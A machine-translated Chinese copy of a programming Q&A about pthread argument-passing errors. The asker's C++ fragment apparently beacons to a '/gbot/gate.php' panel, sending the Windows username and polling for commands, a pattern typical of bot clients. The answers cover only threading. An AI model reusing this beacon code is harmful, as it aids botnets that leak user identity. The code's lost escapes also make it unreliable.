c++多线程错误和SOCKET

c++ multithreading errors and SOCKET

本文关键字:SOCKET 错误 多线程 c++      更新时间:2023-10-16
    void* sendFirstReq(SOCKET Socket){
        char buffer[10000];
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "rnrn";
        }
        else
            mybuf += "linuxrnrn";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
}
void* sendSecReq(SOCKET Socket){
    char buffer[10000];
    string mybuf("GET /gbot/gate.php?page=cmdrnrn");
    send(Socket, mybuf.c_str(), mybuf.length(), 0);
    recv(Socket, buffer, 10000, 0);
    cout << buffer;
}
while(true)
    {
        pthread_t t1;
        pthread_t t2;
        pthread_create(&t1, NULL, &sendFirstReq, NULL);
        pthread_create(&t1, NULL, &sendSecReq, NULL);
        _sleep(5000);
    }

这是我项目中的一段代码。我想做多线程,但我得到了一堆错误。首先,void*函数必须得到一个void*参数,所以我可以通过发送SOCKET吗?另一个错误是:

初始化int pthread_create(pthread_t*)的参数3pthread_attr_t_ *常量*,void * ()(空白), void *)

我不知道如何修复它,谢谢你的帮助。

当你实现多线程时,请确保在不同的套接字上发送和接收!也就是说,传递void*参数的最佳方式是一个结构,但我相信你可以在void*中发送不同的数据类型,只是要确保对它进行切片

的例子:

void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);

和sendfirststreq()中,对参数进行切片(套接字*)参数;

传递参数给pthread

如果将套接字部分和多线程部分分开会有所帮助,这样您就可以分别处理它们。多线程的问题是,对于POSIX线程,必须使用函数接受并返回一个void指针。有两种方法可以让其他东西通过它。第一种方法是分配一个结构体,并将指向它的指针传递给pthread_create:

void* thread_function(void* p)
{
    mydata* ps = static_cast<mydata*>(p);
    ...
}
mydata s = ...;
pthread_create(..., thread_function, &s);

这里要注意的是s有一个作用域,并且必须确保在线程使用它时它保持活动状态。这可能需要使用new进行动态分配,这反过来又需要小心,以免导致内存泄漏。另一种适用于小整数的方法是将它们直接作为指针传递:

void* thread_function(void* p)
{
    int x = reinterpret_cast<int>(p);
    ...
}
int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));

由于SOCKET只是一个小于指针的整数,因此您应该能够这样做,这可能是最简单的工作方式。